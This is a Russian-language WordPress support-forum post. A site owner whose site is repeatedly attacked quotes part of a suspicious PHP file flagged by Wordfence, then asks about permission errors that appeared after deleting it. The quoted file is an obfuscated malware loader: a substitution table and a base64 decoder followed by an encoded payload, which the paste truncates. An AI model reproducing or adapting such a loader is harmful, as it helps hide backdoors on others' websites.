Ошибка кода Permission denied
-
Добрый день!
На протяжении довольно длительного времени сайт подвергается атакам. Каждый раз приходилось восстанавливать версии из бэк-апа и менять все пароли. В результате были установлены Sucuri и Wordfence. В последний раз в процессе сканирования Wordfence написал о ряде подозрительных файлов по типу
Filename: /home/…/public_html//wp-admin/includes/.diff48.php
File Size: 3,223 bytes
File last modified: Tuesday 24th of February 2015 02:13:20 PM
<?php
$vZODSNN = Array(‘1’=>’5’, ‘0’=>’q’, ‘3’=>’a’, ‘2’=>’G’, ‘5’=>’w’, ‘4’=>’c’, ‘7’=>’4′, ‘6’=>’O’, ‘9’=>’I’, ‘8’=>’R’, ‘A’=>’n’, ‘C’=>’i’, ‘B’=>’X’, ‘E’=>’H’, ‘D’=>’L’, ‘G’=>’h’, ‘F’=>’K’, ‘I’=>’0’, ‘H’=>’J’, ‘K’=>’A’, ‘J’=>’T’, ‘M’=>’s’, ‘L’=>’M’, ‘O’=>’d’, ‘N’=>’E’, ‘Q’=>’l’, ‘P’=>’Z’, ‘S’=>’6’, ‘R’=>’k’, ‘U’=>’x’, ‘T’=>’g’, ‘W’=>’Y’, ‘V’=>’N’, ‘Y’=>’3’, ‘X’=>’u’, ‘Z’=>’f’, ‘a’=>’2’, ‘c’=>’P’, ‘b’=>’z’, ‘e’=>’y’, ‘d’=>’B’, ‘g’=>’1’, ‘f’=>’r’, ‘i’=>’C’, ‘h’=>’Q’, ‘k’=>’F’, ‘j’=>’o’, ‘m’=>’b’, ‘l’=>’8’, ‘o’=>’U’, ‘n’=>’V’, ‘q’=>’m’, ‘p’=>’t’, ‘s’=>’9’, ‘r’=>’D’, ‘u’=>’7’, ‘t’=>’e’, ‘w’=>’S’, ‘v’=>’v’, ‘y’=>’W’, ‘x’=>’j’, ‘z’=>’p’);
function vC4Z85S($v85ABU4, $vOVRWMV){$v3B2V1D = »; for($i=0; $i < strlen($v85ABU4); $i++){$v3B2V1D .= isset($vOVRWMV[$v85ABU4[$i]]) ? $vOVRWMV[$v85ABU4[$i]] : $v85ABU4[$i];}
return base64_decode($v3B2V1D);}
$vI2H3J8 = ‘H2kgO2GZ42kb4eKs9i9bPJdQVahY6yPGLbGGL28CWbKU62nx6rogPxOCWxWeLe9uiTjRWasMmY9TcwKC9a8qVw9u’.
‘iC8RPyPGOyUIBakxO2QvmCKs9iO23yUQ4IgGmC4uiC8RPyPGOyUIBYnbPnsG3qk79rITOEHgPJMFH28’.
‘QPqkgmE8ZWaGG4AVQOiKs9iOB3y1RmYObDJNeVJNA65jFh2QX3nsbPBhjHane4qseBaUv’.
‘Pe4MJQnLJiRuiRdzmqQZ4anIFiOMmaOZPBHemYHbHe55FJMFh2QX3nsbPBhjHagGtksQt2nxOB8zma1ZO2QpP’.Файлы были удалены. Теперь возникают проблемы с критически важными функциями. Так при редактировании текста страниц в редакторе появляется сообщение:
Warning: require_once(/home/shchukin/public_html/wp-content/themes/kora/muffin-options/fields/text/field_text.php): failed to open stream: Permission denied in /home/shchukin/public_html/wp-content/themes/kora/muffin-options/options.php on line 203Fatal error: require_once(): Failed opening required ‘/home/…/public_html/wp-content/themes/kora/muffin-options/fields/text/field_text.php’ (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/…/public_html/wp-content/themes/kora/muffin-options/options.php on line 203
Прошу прощение за сбивчивость, не являюсь специалистом. Интересуют, соответственно, ответы на два вопроса: 1. Как обезопасить себя от атак? 2. В чём может быть проблема текущих сбоев? Мог ли Wordfence посчитать подозрительным аутентичный файл, удаление которого и привело к такому результату?
Спасибо!
- Тема «Ошибка кода Permission denied» закрыта для новых ответов.